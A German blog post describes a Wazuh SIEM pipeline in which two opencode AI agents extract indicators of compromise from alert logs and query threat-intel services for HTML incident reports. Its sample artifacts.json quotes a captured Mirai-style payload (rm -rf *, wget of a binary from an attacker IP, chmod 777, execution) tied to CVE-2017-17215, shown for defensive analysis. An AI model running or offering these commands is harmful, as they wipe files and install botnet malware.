Wazuh weiter aufgebohrt - Deep Incident Research mit opencode
What if the AI didn't just analyze the logs, but went and looked up every IOC on its own?
Ja. Ich habe viel Freude an der Analyse von Sicherheitsvorfällen. Und als ich mir kürzlich meine HTML-Berichte angesehen habe, die mein Wazuh KI-Setup zur Incident-Analyse generiert, dachte ich mir: Was wäre, wenn die KI nicht nur mit den ihr übergebenen Daten arbeiten würde, sondern aktiv jede Payload-URL, jeden verdächtigen Hash und jede gefundene CVE-Referenz selbst recherchieren könnte – und zwar genau in dem Moment, in dem der Alarm ausgelöst wird? Genau darum geht es in diesem Artikel: Die Einbindung von opencode in das bestehende Active-Response-Skript, um einen statischen Prompt in eine echte, mehrstufige agentenbasierte Pipeline zu verwandeln. Ich bin damit noch nicht fertig, aber dies ist schon einmal ein kurzer Überblick darüber, woran ich im Moment arbeite.
Warum der Prompt-Ansatz an seine Grenzen stößt
Das bestehende Skript sammelt Kontext-Logs, IP-Reputationsdaten und natürlich das initiale Wazuh-Alert-JSON, packt alles in einen großen Prompt und sendet ihn an ein lokales Ollama-Modell. Das Modell schreibt dann aus diesem statischen Snapshot einen aufbereiteten HTML-Bericht. Das funktioniert hervorragend für Routine-Alarme. Die Einschränkung zeigt sich, wenn man wissen möchte, wie genau die Malware vorgeht. Es wäre also schöner die genauen Zusammenhänge analysiert zu bekommen als nur im Bericht zu sehen: "Verdächtige URL beobachtet". Vielleicht lieber so: "Diese URL wird auf abuse.ch als Verteiler der Mirai-Variante X gelistet und wurde vor 3 Tagen zum ersten Mal gesehen. Laut Analysen innerhalb einer Sandbox wird versucht Zugangsdaten zu sammeln..."

Was man dazu eigentlich braucht, ist ein Agent mit einem webfetch-Tool, der eigenständig Dinge nachschlagen kann. Genau diese Lücke füllt opencode bei mir seit neuestem.
Was opencode ist und warum es hierher passt
opencode ist eigentlich ein quelloffener, terminal-basierter KI-Programmieragent. Er verfügt über eine Client/Server-Architektur und ein TUI (Text User Interface), das von Neovim-Nutzern und den Machern von terminal.shop entwickelt wurde, um die Grenzen dessen auszuloten, was im Terminal möglich ist. Die entscheidende Eigenschaft für die Automatisierung ist sein nicht-interaktiver Modus: opencode kann im nicht-interaktiven Modus ausgeführt werden, indem ein Prompt als Befehlszeilenargument mit -p übergeben wird. In diesem Modus verarbeitet opencode den Prompt, gibt das Ergebnis auf der Standardausgabe aus und beendet sich dann. Alle Berechtigungen werden für die Sitzung automatisch genehmigt.
Dieses letzte Detail ist wichtig. Es bedeutet, dass ein Shell-Skript opencode aufrufen, ihm einen Projektordner voller Log-Dateien übergeben und ein Ergebnis zurückerhalten kann, ohne dass man eingreifen muss.
Abgesehen vom CLI-Flag ist es das Agentensystem von opencode, das die Architektur hier überhaupt erst möglich macht. Agenten können als Markdown-Dateien definiert werden, die in ~/.config/opencode/agents/ für die globale Nutzung oder in .opencode/agents/ für die projektbezogene Nutzung abgelegt werden. Der Name der Markdown-Datei wird zum Namen des Agenten. Zu den Konfigurationsoptionen gehören Beschreibung, Modell, Temperatur, Tool-Berechtigungen und der System-Prompt als Inhalt der Datei.
Das macht es einfach, zwei speziell für diesen Zweck entwickelte Agenten zu definieren – einen für die Analyse, einen für die Recherche –, von denen jeder genau die Tool-Berechtigungen hat, die er benötigt, und nicht mehr.
Die Architektur – Eine zweistufige agentenbasierte Pipeline
Der Ablauf sieht wie folgt aus:
Wazuh Alert
↓
↓
Active Response Script (ntfy.sh)
↓
├── Sammelt: ALERT_JSON, SRCIP, Kontext-Logs, wer_issn() IP-Bericht
↓
↓
[1] PROJEKTORDNER-SETUP
└── /tmp/incident/<SRCIP>/
├── alert.json
├── context.log
└── ipinfo.txt
↓
↓
[2] ANALYSE-AGENT (opencode -p ... --agent siem-analyst)
├── Liest alle Dateien im Projektordner
└── Schreibt: artifacts.json (IOCs, Urteil, Payload-Befehle)
↓
↓
[3] RECHERCHE-AGENT (opencode -p ... --agent siem-researcher)
├── Liest artifacts.json
├── Nutzt webfetch, um abuse.ch, AbuseIPDB, GreyNoise, NVD... abzufragen
└── Schreibt: report.html (kompletter Vorfallsbericht)
↓
↓
scp report.html → interner Webserver
ntfy Push-Benachrichtigung mit Link
Stufe 1 erzeugt strukturierte Daten (artifacts.json). Stufe 2 reichert diese Daten durch Live-Internetabfragen an und erzeugt das finale HTML. Die beiden Stufen sind absichtlich voneinander entkoppelt: Wenn der Recherche-Agent an ein Rate Limit stößt (was bei meiner lokalen KI glücklicherweise nicht vorkommt 😄) oder eine tote URL aufruft, liegt das Analyse-Artefakt bereits auf der Festplatte und der Vorgang kann später wiederholt oder erweitert werden.
Installation von opencode auf dem Wazuh-Server
# Installation über das offizielle Installationsskript
curl -fsSL https://opencode.ai/install | bash
# Überprüfung
opencode --version
Für ein lokales Ollama-Backend wird der Provider als OpenAI-kompatibler Endpunkt konfiguriert. Die Konfiguration befindet sich unter ~/.config/opencode/opencode.json:
{
"model": "local/mm_instruct:latest",
"providers": {
"local": {
"name": "Local Ollama",
"baseURL": "http://ai:11434/v1",
"apiKey": "ollama",
"models": [
{ "id": "mm_instruct:latest", "name": "MM Instruct" }
]
}
}
}
ai:11434 und mm_instruct:latest referenziert auf meine KI und muss natürlich angepasst werden, falls Gemini oder ein anderer Cloud-Anbieter für den Recherche-Agenten bevorzugt wird.
Die beiden Agenten-Definitionen
Stufe 1 – Der Analyse-Agent (~/.config/opencode/agents/siem-analyst.md):
---
description: SIEM-Incident-Analyst. Liest rohe Log-Dateien aus dem Projektordner und extrahiert strukturierte IOCs.
mode: primary
model: local/mm_instruct:latest
temperature: 0.1
tools:
read: true
edit: true
write: true
bash: false
webfetch: false
permissions:
bash: deny
webfetch: deny
---
Du bist ein erfahrener IT-Sicherheitsanalyst und Forensik-Spezialist.
Deine Aufgabe ist es, alle im aktuellen Arbeitsverzeichnis vorhandenen Log-Dateien zu analysieren
und eine einzige strukturierte JSON-Datei namens `artifacts.json` zu erstellen.
Das JSON muss exakt diese Felder aufweisen:
- "summary": Zwei-Sätze-Zusammenfassung in Klartext darüber, was passiert ist.
- "attacker_ips": Array der beobachteten Angreifer-IP-Adressen.
- "malicious_urls": Array aller in Payloads oder IDS-Signaturen gefundenen URLs.
- "file_hashes": Array aller in den Logs gefundenen MD5- oder SHA256-Hashes.
- "cves": Array aller CVE-Kennungen, die in IDS-Alarm-Signaturen referenziert werden.
- "user_agents": Array von verdächtigen HTTP-User-Agents aus Web-Logs.
- "payload_commands": Array dekodierter Shell-Befehle, die aus Payloads extrahiert wurden.
- "verdict": Exakt eines von "BLOCKED", "PARTIAL" oder "COMPROMISED".
Stütze das Urteil darauf, ob HTTP 200-Antworten, erfolgreiche Firewall-Passes
und das Fehlen von Active-Response-Blocks zusammen beobachtet wurden.
Schreibe nur artifacts.json. Erzeuge keine anderen Ausgabedateien.
Stütze deine Analyse streng auf die Dateien im aktuellen Verzeichnis.
Die Kombination aus webfetch: false und permissions: webfetch: deny stellt sicher, dass dieser Agent nicht auf das Internet zugreifen kann – er liest und schreibt nur lokale Dateien. Das hält Stufe 1 schnell und deterministisch.
Stufe 2 – Der Recherche-Agent (~/.config/opencode/agents/siem-researcher.md):
---
description: Threat-Intel-Forscher. Liest artifacts.json und reichert jedes IOC mit Online-Intelligence an.
mode: primary
model: local/mm_instruct:latest
temperature: 0.2
tools:
read: true
edit: true
write: true
bash: false
webfetch: true
permissions:
bash: deny
webfetch: allow
---
Du bist ein Threat-Intelligence-Forscher.
Schritt 1: Lies `artifacts.json` aus dem aktuellen Arbeitsverzeichnis.
Schritt 2: Frage für jedes IOC die folgenden Quellen mithilfe des webfetch-Tools ab:
- Für jede IP in attacker_ips:
https://api.greynoise.io/v3/community/<IP> (Header: key: DEIN_GREYNOISE_KEY)
https://urlhaus-api.abuse.ch/v1/host/ (POST body: host=<IP>)
- Für jede URL in malicious_urls:
https://urlhaus-api.abuse.ch/v1/url/ (POST body: url=<URL>)
- Für jeden Hash in file_hashes:
https://mb-api.abuse.ch/api/v1/ (POST body: query=get_info&hash=<HASH>)
- Für jede CVE in cves:
https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=<CVE>
- Durchsuche Joe-Sandbox nach bereits vorhandenen Analysen bezüglich des Angreifers im Zusammenhang mit dem Incident in `artifacts.json`:
https://www.joesandbox.com/analysis/search?q=<PAYLOAD or SRCIP>
Schritt 3: Schreibe eine eigenständige HTML-Datei namens `report.html` mit den folgenden Abschnitten
in einem Dark-Theme-Layout (Hintergrund #121212, Akzent #58a6ff, Kartenhintergrund #1e1e1f):
1. <h1> - Aussagekräftiger Titel des Vorfalls
2. Management Summary (Wer, wann, was, Urteils-Badge mit den CSS-Klassen success-status oder fail-status)
3. Attacker Profile-Tabelle (alle gesammelten IP-Reputationsdaten)
4. Attack & Payload Analyse (erkläre jeden Shell-Befehl in payload_commands Schritt für Schritt)
5. IOC Intelligence (alle Erkenntnisse aus den obigen Threat-Intel-Abfragen, pro IOC)
6. Chronologische Timeline-Tabelle (Zeitstempel | Komponente | Ereignis | Beschreibung)
7. Risk Assessment & Recommendations
Verwende dieses CSS als Basis:
body { font-family: 'Roboto', sans-serif; background: #121212; color: #f0f0f0; }
.card { background: linear-gradient(145deg,#2c2c2e,#1e1e1f); border:1px solid #444;
border-radius:12px; padding:25px 35px; max-width:1200px; margin:40px auto; }
h1 { color:#58a6ff; } h2 { color:#e5c07b; } code { color:#ff7b72; background:#161b22; padding:3px 6px; border-radius:5px; }
.success-status { background:#2ea043; color:#fff; padding:5px 10px; border-radius:5px; font-weight:bold; }
.fail-status { background:#da3633; color:#fff; padding:5px 10px; border-radius:5px; font-weight:bold; }
table { width:100%; border-collapse:collapse; }
th { background:#21262d; color:#c9d1d9; padding:12px; }
td { background:#2c313a; color:#b0b8c4; padding:12px; border:1px solid #444; }
Schreibe nur report.html. Erzeuge keine andere Ausgabe.
Das aktualisierte Active-Response-Skript
Ich habe mein Script ntfy.sh mit der opencode-Integration für meine Tests angepasst. Die IP-Profiling-Funktion wer_issn() aus dem Originalartikel ist weiterhin vorhanden, wird hier aber zur besseren Übersichtlichkeit abgekürzt dargestellt – sie ist gegenüber der vorherigen Version unverändert.
#!/bin/bash
# Wazuh Active Response - ntfy + opencode Vorfallanalyse
# M. Meister
# ============================================================================
# FILTER: Alarmkategorien, die komplett übersprungen werden sollen.
# Die Logs sind aber trotzdem nützlich, da sie ein vollständigeres Bild des Angriffs aufzeigen
# ============================================================================
DONT_ANALYSE=(
"ET COMPROMISED "
"ET TOR "
"ET HUNTING "
"ET POLICY "
"ET SCAN "
"Path Traversal"
"GraphQL"
)
# ============================================================================
# KONFIGURATION - alle Platzhalterwerte ersetzen
# ============================================================================
NTFY_USER="your_ntfy_user"
NTFY_PASS="your_ntfy_password"
NTFY_TOPIC_URL="https://your-ntfy-server/your-topic"
export MM_API_USER="your_api_user"
export MM_API_PASS="your_api_password"
export GEMINI_API_KEY="your_gemini_api_key"
# Wähle "opencode", "gemini" oder "local"
AI_PROVIDER="opencode"
LOG_FILE="/var/ossec/logs/active-responses.log"
# ============================================================================
# IP-PROFILING-FUNKTION (wer_issn)
# Fragt AbuseIPDB, VirusTotal, GreyNoise, Shodan, DNSBL, TOR check ab
# Vollständige Implementierung: https://blog.meister-security.de/script-time-informationen-uber-eine-ip/
# Ersetze API-Schlüssel-Platzhalter durch echte Schlüssel
# ============================================================================
wer_issn() {
local ABUSEIPDB_API_KEY="your_abuseipdb_key"
local SHODAN_API_KEY="your_shodan_key"
local VIRUSTOTAL_API_KEY="your_virustotal_key"
local GREYNOISE_API_KEY="your_greynoise_key"
local ip_address="$1"
# ...
}
# ============================================================================
# KI-BACKEND
# ============================================================================
ask_ai_deep() {
local ai_big="mm_instruct:latest"
local prompt_text
prompt_text=$(cat)
local raw_response
raw_response=$(printf "%s" "$prompt_text" | \
jq -Rs --arg model "$ai_big" --argjson ctx 12288 \
'{model:$model, prompt:., stream:false, num_ctx:$ctx}' | \
curl -s http://ai:11434/api/generate -d @-)
local response_text
response_text=$(echo "$raw_response" | jq -r '.response // empty')
[ -z "$response_text" ] && { echo "Ollama: no response" >&2; return 1; }
echo "$response_text"
}
# ============================================================================
# OPENCODE MEHRSTUFIGE ANALYSE
# ============================================================================
analyze_with_opencode() {
local srcip="$1"
local project_dir="/tmp/incident/${srcip}"
# --- Stufe 0: Projektordner erstellen ---
mkdir -p "$project_dir"
# Lege das rohe Alert-JSON ab, das die Analyse ausgelöst hat
echo "$ALERT_JSON" > "${project_dir}/alert.json"
# Lege die Kontext-Logs ab (alle Archivzeilen, die die Angreifer-IP erwähnen, aber entferne die Dubletten aus rybbit/siem-ai etc...)
grep "${srcip}" /var/ossec/logs/archives/archives.json 2>/dev/null \
| jq -r '.full_log' 2>/dev/null \
| grep -Ev "insights\.|analytics\.|/images/|\.topic\.: .siem\." \
> "${project_dir}/context.log"
# Lege den IP-Profilbericht als Klartext ab
echo "$SRCIPINFO" > "${project_dir}/ipinfo.txt"
echo "$(date) opencode: Projektordner bereit unter ${project_dir}" >> "${LOG_FILE}"
# --- Stufe 1: Analyse-Agent - extrahiere IOCs in artifacts.json ---
opencode -p \
"Analysiere alle Log-Dateien im aktuellen Verzeichnis. Schreibe deine Ergebnisse wie angewiesen in artifacts.json." \
--agent siem-analyst \
-q \
--cwd "${project_dir}" >> "${LOG_FILE}" 2>&1
if [ ! -f "${project_dir}/artifacts.json" ]; then
echo "$(date) opencode: Stufe 1 fehlgeschlagen - artifacts.json wurde nicht erstellt." >> "${LOG_FILE}"
return 1
fi
echo "$(date) opencode: Stufe 1 abgeschlossen - artifacts.json wurde geschrieben." >> "${LOG_FILE}"
# --- Stufe 2: Recherche-Agent - reichere IOCs innerhalb der artifacts.json an und schreibe report.html ---
opencode -p \
"Lies artifacts.json, frage alle IOCs online ab und schreibe den Abschlussbericht wie angewiesen in report.html." \
--agent siem-researcher \
-q \
--cwd "${project_dir}" >> "${LOG_FILE}" 2>&1
if [ ! -f "${project_dir}/report.html" ]; then
echo "$(date) opencode: Stufe 2 fehlgeschlagen - report.html wurde nicht erstellt." >> "${LOG_FILE}"
return 1
fi
echo "$(date) opencode: Stufe 2 abgeschlossen - report.html wurde geschrieben." >> "${LOG_FILE}"
echo "${project_dir}/report.html"
}
# ============================================================================
# HAUPTTEIL
# ============================================================================
ALERT_JSON=$(timeout 2s cat)
[ -z "${ALERT_JSON}" ] && {
echo "$(date) ntfy (v2.7): ALERT_JSON empty." >> "${LOG_FILE}"
exit 1
}
# Filterliste anwenden
for s in "${DONT_ANALYSE[@]}"; do
case "${ALERT_JSON}" in
*"$s"*) exit 0 ;;
esac
done
SRCIP=$(jq -r '.parameters.alert.data.srcip // .parameters.alert.data.client_ip // .parameters.alert.data.src_ip' <<< "$ALERT_JSON")
DSTIP=$(jq -r '.parameters.alert.data.dstip // .parameters.alert.data.dst_ip' <<< "$ALERT_JSON")
RULE_ID=$(jq -r '.parameters.alert.rule.id' <<< "$ALERT_JSON")
RULE_LEVEL=$(jq -r '.parameters.alert.rule.level' <<< "$ALERT_JSON")
RULE_DESC=$(jq -r '.parameters.alert.rule.description' <<< "$ALERT_JSON")
AGENT_NAME=$(jq -r '.parameters.alert.agent.name' <<< "$ALERT_JSON")
EXT_IP=$(curl -s -u "$MM_API_USER:$MM_API_PASS" https://your-ifconfig-endpoint/ip)
SRCIPINFO="$(wer_issn "${SRCIP}")"
REPORT_PATH=""
ANTWORT=""
if [ "$AI_PROVIDER" == "opencode" ]; then
echo "$(date) ntfy (v2.7): Starte zweistufige opencode-Analyse für ${SRCIP}..." >> "${LOG_FILE}"
REPORT_PATH=$(analyze_with_opencode "${SRCIP}")
if [ -n "$REPORT_PATH" ] && [ -f "$REPORT_PATH" ]; then
# Hänge den rohen Kontext-Log-Block an das Ende des Berichts an
cat >> "$REPORT_PATH" << HTMLEOF
<div class="card" style="margin-top:20px;">
<h2>Rohe Kontext-Logs für ${SRCIP}</h2>
<pre><code>$(grep "${SRCIP}" /var/ossec/logs/archives/archives.json | jq -r '.full_log' | head -n 200)</code></pre>
</div>
HTMLEOF
scp -P 22001 "$REPORT_PATH" root@your-webserver:/var/docker/web/website/incident/${SRCIP}.html
ANTWORT="opencode report generated"
rm -rf "/tmp/incident/${SRCIP}"
else
echo "$(date) ntfy (v2.7): opencode-Analyse fehlgeschlagen, wechsle zu lokaler KI." >> "${LOG_FILE}"
AI_PROVIDER="local"
fi
fi
# Fallback oder Nicht-opencode-Pfad (ursprünglicher prompt-basierter Ansatz)
if [ "$AI_PROVIDER" == "local" ] || [ "$AI_PROVIDER" == "gemini" ]; then
CONTEXT_LOGS=$(grep "${SRCIP}" /var/ossec/logs/archives/archives.json \
| jq -r '.full_log' \
| grep -Ev "insights\.|analytics\.|/images/|\.topic\.: .siem\.")
read -r -d '' PROMPT << 'EOF'
[Ursprüngliche Prompt-Vorlage aus dem vorherigen Artikel hier einfügen]
EOF
export SRCIP DSTIP AGENT_NAME EXT_IP CONTEXT_LOGS ALERT_JSON SRCIPINFO
PROMPT=$(envsubst '$SRCIP $DSTIP $AGENT_NAME $EXT_IP $CONTEXT_LOGS $ALERT_JSON $SRCIPINFO' <<< "$PROMPT")
if [ "$AI_PROVIDER" == "local" ]; then
ANTWORT=$(echo "$PROMPT" | ask_ai_deep)
else
ANTWORT=$(echo "$PROMPT" | ask_gemini)
fi
echo "$ANTWORT" > /tmp/${SRCIP}.html
scp -P 22001 /tmp/${SRCIP}.html root@your-webserver:/var/docker/web/website/incident/${SRCIP}.html
rm -f /tmp/${SRCIP}.html
fi
# ============================================================================
# NTFY-BENACHRICHTIGUNG
# ============================================================================
TITLE="${RULE_DESC}"
if [ -n "$ANTWORT" ]; then
AI_TITLE=$(echo "$ANTWORT" | grep "<h1>" | sed -e 's/.*<h1>//;s/<\/h1>//')
[ -n "$AI_TITLE" ] && [ ${#AI_TITLE} -lt 100 ] && TITLE="$AI_TITLE"
fi
if [ "$RULE_LEVEL" -ge 11 ]; then
PRIORITY="max"; TAG="rotating_light"
elif [ "$RULE_LEVEL" -ge 7 ]; then
PRIORITY="high"; TAG="warning"
else
PRIORITY="default"; TAG="loudspeaker"
fi
REPORT_URL="https://your-website/incident/${SRCIP}.html"
SAFE_MESSAGE=$(printf "\n%s\n\n%s\n\n%s" \
"$REPORT_URL" \
"Regel: ${RULE_DESC}" \
"Angreifer: ${SRCIP} | Ziel: ${DSTIP} | Host: ${AGENT_NAME}" \
| head -c 3800)
printf "%s" "$SAFE_MESSAGE" | curl --silent --show-error \
-u "${NTFY_USER}:${NTFY_PASS}" \
-H "Title: ${TITLE}" \
-H "Priority: ${PRIORITY}" \
-H "Tag: ${TAG}" \
--data-binary @- \
"${NTFY_TOPIC_URL}" >> "${LOG_FILE}" 2>&1
echo "$(date) ntfy (v2.7): Done." >> "${LOG_FILE}"
exit 0
Wie die opencode-Sitzung in der Praxis aussieht
Wenn opencode nicht-interaktiv mit -p und --cwd ausgeführt wird, landet es im Projektverzeichnis und sieht genau die dort abgelegten Dateien. Stufe 1 liest alert.json, context.log und ipinfo.txt und schreibt dann artifacts.json. Eine typische artifacts.json, die vom Analyse-Agenten für einen Mirai-artigen Command-Injection-Versuch erstellt wird, sieht so aus:
{
"summary": "Ein Host unter 45.88.110.88 versuchte einen Command-Injection-Angriff auf den Nginx-DMZ-Server über einen manipulierten HTTP-Request. Der Angriff wurde auf Applikationsebene blockiert - Nginx lieferte 444 zurück und Wazuh führte einen Active-Response Firewall-Drop aus.",
"attacker_ips": ["45.88.110.88"],
"malicious_urls": ["http://94.156.8.24/bins/mips"],
"file_hashes": [],
"cves": ["CVE-2017-17215"],
"user_agents": ["Hello, World"],
"payload_commands": [
"cd /tmp",
"rm -rf *",
"wget http://94.156.8.24/bins/mips",
"chmod 777 mips",
"./mips huawei.selfrep"
],
"verdict": "BLOCKED"
}
Stufe 2 greift dies dann auf, holt sich den abuse.ch URLhaus-Eintrag für http://94.156.8.24/bins/mips, fragt GreyNoise etc. für 45.88.110.88 ab, schlägt CVE-2017-17215 in der NVD nach, versucht, die Malware in Joes Sandbox zu verstehen, und platziert all das in den finalen HTML-Bericht. Die Aufschlüsselung der Payload-Befehle im Abschnitt "Attack Analysis" liest sich nun wie eine richtige forensische Untersuchung: was cd /tmp; rm -rf *; wget ... macht, warum chmod 777 ein klassisches IoT-Malware-Muster ist, was das Argument huawei.selfrep über die Botnetz-Familie aussagt und wie genau die Malware funktioniert (aus JoeSandbox). Das neue Mitigation-Advisory enthält nun detaillierte Anweisungen, wie man manuell nachweisen kann, was wirklich auf den Systemen passiert ist (um absolut sicher zu gehen - nichts ersetzt den menschlichen Experten!). Diese Tiefe war mit einem statischen Prompt schlichtweg nicht erreichbar.
Das Flag -q unterdrückt den TUI-Spinner, damit mir nichts in die Log-Datei durchsickert. Das Flag --cwd weist opencode an, das Projektverzeichnis als Arbeitsverzeichnis zu behandeln, weshalb die Lese- und Schreibzugriffe des Agenten-Dateisystems korrekt auf /tmp/incident/<SRCIP>/ angewendet werden.
Eine Anmerkung zu Agenten-Berechtigungen und Sicherheit
Einen KI-Agenten mit webfetch: allow auf einem produktiven SIEM-Host auszuführen, erfordert dann doch einen Moment des Nachdenkens. Der Recherche-Agent kann tendenziell jede URL erreichen, die das Modell abzufragen beschließt. In der Praxis beschränkt der System-Prompt ihn auf bestimmte API-Endpunkte, aber ein fehlgeleitetes oder durch Prompt-Injection manipuliertes Modell könnte theoretisch versuchen, andere Ziele zu erreichen. Eine sinnvolle Gegenmaßnahme ist eine Firewall-Regel, die nur die bekannten Threat-Intel-API-Domains zulässt. Zum Beispiel:
api.greynoise.io
urlhaus-api.abuse.ch
mb-api.abuse.ch
services.nvd.nist.gov
api.abuseipdb.com
joesandbox.com
...
Alles andere bleibt blockiert. Der Analyse-Agent hat in seiner Definition bereits webfetch: deny, sodass Stufe 1 durch dieses Design vollständig vom Internet isoliert bleibt.
Fazit
Die Integration von opencode in die Wazuh Active-Response-Pipeline verwandelt einen intelligenten, aber statischen KI-Bericht in einen echten, agentenbasierten Threat-Intelligence-Workflow: Ein dedizierter Analyse-Agent extrahiert strukturierte IOCs aus den rohen Logs, übergibt diese an einen Recherche-Agenten, der aktiv Live-Bedrohungsdatenbanken (z.B. auch MISP) abfragt, und das kombinierte Ergebnis landet als ein reichhaltigerer, evidenzbasierter HTML-Bericht innerhalb desselben Alarm-Reaktionsfensters. Die Schlüsselfaktoren dafür sind der nicht-interaktive -p Modus von opencode für den skriptgesteuerten Aufruf, das --cwd Flag für isolierten Dateizugriff und die pro Agent einstellbare webfetch-Berechtigung, die der Recherche Internetzugang gewährt, während die Analyse vollständig isoliert bleibt. Ich bin wirklich neugierig, wie es weitergeht...